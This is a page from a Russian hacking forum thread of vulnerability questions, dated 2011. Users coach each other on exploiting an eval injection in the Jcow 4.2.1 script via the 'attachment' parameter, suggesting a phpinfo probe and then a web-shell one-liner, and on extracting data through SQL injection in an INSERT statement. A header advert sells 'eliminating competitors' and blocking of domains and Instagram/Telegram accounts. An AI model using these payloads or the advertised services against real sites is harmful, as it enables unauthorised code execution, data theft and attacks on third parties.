Ваши вопросы по уязвимостям.

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Ваши вопросы по уязвимостям.

Страница 1809 из 2438

1809

Опции темы

Поиск в этой теме

Опции просмотра

#18081

13.09.2011, 20:49

Kuteke

Участник форума

Регистрация: 26.06.2010

Сообщений: 179

С нами: 8357366

Репутация: 6

alerondel,

если сломаешь напиши в ПМ)))) А вообще как обнаружил, что есть уязвимость?

Nightmarе,

БД есть, но доступ не дают, насколько я помню, либо дают, но платно(дорого)!

#18082

14.09.2011, 02:17

VertuOzz

Новичок

Регистрация: 08.09.2011

Сообщений: 4

С нами: 7725206

Репутация: 0

Помогите залить шелл

Скрипт Jcow 4.2.1. В скрипте присутствует уязвимость - не фильтруется параметр "attachment"

сам код:

PHP код:


		
			
[COLOR="#000000"][COLOR="#0000BB"]$app[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'attachment'[/COLOR][COLOR="#007700"]];

    if ([/COLOR][COLOR="#0000BB"]strlen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$app[/COLOR][COLOR="#007700"]) &&[/COLOR][COLOR="#0000BB"]$app[/COLOR][COLOR="#007700"]!=[/COLOR][COLOR="#DD0000"]'status'[/COLOR][COLOR="#007700"]) {

        include_once([/COLOR][COLOR="#DD0000"]'modules/'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$app[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'/'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$app[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'.php'[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#0000BB"]$c_run[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$app[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'::ajax_post();'[/COLOR][COLOR="#007700"];

        eval([/COLOR][COLOR="#0000BB"]$c_run[/COLOR][COLOR="#007700"]);

        exit;

    }[/COLOR][/COLOR]

есть эксплот под metasploit http://www.exploit-db.com/exploits/17722/ Сплойт коннектится к хосту, а вот, как залить шелл, ума не приложу, может кто че посоветует? Спасибо

#18083

14.09.2011, 03:54

Expl0ited

Познавший АНТИЧАТ

Регистрация: 16.07.2010

Сообщений: 1,022

С нами: 8328566

Репутация: 935

Цитата:

Сообщение от VertuOzz

Скрипт Jcow 4.2.1. В скрипте присутствует уязвимость - не фильтруется параметр "attachment"
сам код:

PHP код:


		
			
[COLOR="#000000"][COLOR="#0000BB"]$app[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'attachment'[/COLOR][COLOR="#007700"]];

    if ([/COLOR][COLOR="#0000BB"]strlen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$app[/COLOR][COLOR="#007700"]) &&[/COLOR][COLOR="#0000BB"]$app[/COLOR][COLOR="#007700"]!=[/COLOR][COLOR="#DD0000"]'status'[/COLOR][COLOR="#007700"]) {

        include_once([/COLOR][COLOR="#DD0000"]'modules/'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$app[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'/'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$app[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'.php'[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#0000BB"]$c_run[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$app[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'::ajax_post();'[/COLOR][COLOR="#007700"];

        eval([/COLOR][COLOR="#0000BB"]$c_run[/COLOR][COLOR="#007700"]);

        exit;

    }[/COLOR][/COLOR]

есть эксплот под metasploit
http://www.exploit-db.com/exploits/17722/
Сплойт коннектится к хосту, а вот, как залить шелл, ума не приложу, может кто че посоветует? Спасибо

постом в переменной attachment передай phpinfo();//

#18084

14.09.2011, 03:55

попугай

Познавший АНТИЧАТ

Регистрация: 15.01.2008

Сообщений: 1,166

С нами: 9642449

Репутация: 606

Есть инъекция в INSERT INTO

insert into TABLE (id, subid, date, data) values ('666', 'SQL', '', '')

Можно что-нибудь извлечь из этого?

Запрос комментариями не обрезается. MQ off

#18085

14.09.2011, 04:01

winstrool

Познающий

Регистрация: 06.03.2007

Сообщений: 59

С нами: 10095779

Репутация: 137

Цитата:

Сообщение от попугай

Есть инъекция в INSERT INTO
insert into TABLE (id, subid, date, data) values ('666', '
SQL
', '', '')
Можно что-нибудь извлечь из этого?
Запрос комментариями не обрезается. MQ off

Вот может тебе эта статейка поможет?!

_http://devteev.blogspot.com/2010/02/sql-injection-insert-update-delete-etc.html

P.S: кинь ссылку в пм глянуть

#18086

14.09.2011, 04:05

попугай

Познавший АНТИЧАТ

Регистрация: 15.01.2008

Сообщений: 1,166

С нами: 9642449

Репутация: 606

Цитата:

Сообщение от winstrool

Вот может тебе эта статейка поможет?!
_http://devteev.blogspot.com/2010/02/sql-injection-insert-update-delete-etc.html
P.S: кинь ссылку в пм глянуть

Читал уже. Проблема в том, что нельзя обрезать запрос комментарием как в статье показано.

#18087

14.09.2011, 04:19

xa-xa89

Участник форума

Регистрация: 17.05.2008

Сообщений: 102

С нами: 9466141

Репутация: 74

А где-то подсмотреть результаты инсерта можно?

то почему бы просто не сделать вот так?

insert into TABLE (id, subid, date, data) values ('666', ''+(select bla_bla_bla), '', '')

ну и селект не из это же таблицы, помним)

#18088

14.09.2011, 11:29

VertuOzz

Новичок

Регистрация: 08.09.2011

Сообщений: 4

С нами: 7725206

Репутация: 0

Цитата:

Сообщение от Expl0ited

постом в переменной attachment передай phpinfo();//

Передавал, phpinfo отображается, а дальше чего?

#18089

14.09.2011, 11:34

Faaax

Постоянный

Регистрация: 30.08.2010

Сообщений: 327

С нами: 8263766

Репутация: 11

Цитата:

Сообщение от VertuOzz

Передавал, phpinfo отображается, а дальше чего?

код выполняй!

попробуй этот

Код:

eval(stripslashes($_GET[e]));

#18090

14.09.2011, 12:48

VertuOzz

Новичок

Регистрация: 08.09.2011

Сообщений: 4

С нами: 7725206

Репутация: 0

Цитата:

Сообщение от Faaax

код выполняй!
попробуй этот

Код:

eval(stripslashes($_GET[e]));

Извиняюсь за нубский вопрос, а что это даст?

Страница 1809 из 2438

1809

Предыдущая тема Следующая тема

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился)	PEPSICOLA	Болталка	188	23.05.2010 10:05
Ваши любимые компьютерные игры	PEPSICOLA	Болталка	280	19.08.2009 00:01
Ваши телеги...	F-IFTY	Болталка	13	18.08.2009 18:22
Вопросы по Ipb 2.0	Voodoo_People	Уязвимости CMS / форумов	26	15.02.2005 22:57

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход